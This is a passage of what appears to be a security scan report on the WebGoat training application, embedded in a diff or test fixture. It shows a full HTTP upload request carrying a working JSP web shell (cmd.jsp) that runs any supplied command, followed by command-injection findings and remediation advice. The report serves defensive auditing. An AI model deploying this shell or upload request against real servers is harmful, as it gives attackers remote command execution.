+        format=\"PNG\">\n<data>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N1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
